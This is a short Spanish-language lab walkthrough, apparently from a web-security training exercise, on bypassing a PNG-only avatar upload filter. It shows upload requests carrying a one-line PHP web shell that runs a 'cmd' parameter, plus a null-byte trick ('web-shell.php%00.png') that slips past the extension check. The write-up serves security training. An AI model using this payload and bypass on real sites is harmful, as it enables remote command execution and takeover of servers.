Skip to content

Web shell upload via obfuscated file extension

[20251014011056.png]

Al intentar subir un archivo php el sitio web no nos deja, debido a que solo aceptar archivos .png

[20251014221811.png]

c
------geckoformboundary74533c01c28a06dc2c5de15cdc62ef78
Content-Disposition: form-data; name="avatar"; filename="web-shell.php"
Content-Type: application/x-php


<?php system($_GET['cmd']); ?>

‰PNG


En nuestra request agregamos .png y enviamos y el sitio web nos deja subir el archivo

[20251014222203.png]

c
------geckoformboundary74533c01c28a06dc2c5de15cdc62ef78
Content-Disposition: form-data; name="avatar"; filename="web-shell.php.png"
Content-Type: application/x-php


<?php system($_GET['cmd']); ?>

‰PNG


Por lo que podemos usar %00 para poder escapar la extensión de .png

[20251014222346.png]

Al enviar la solicitud observamos que el sitio web nos permite subir el archivo.

c
------geckoformboundary74533c01c28a06dc2c5de15cdc62ef78
Content-Disposition: form-data; name="avatar"; filename="web-shell.php%00.png"
Content-Type: application/x-php

<?php system($_GET['cmd']); ?>

‰PNG

[20251014222919.png]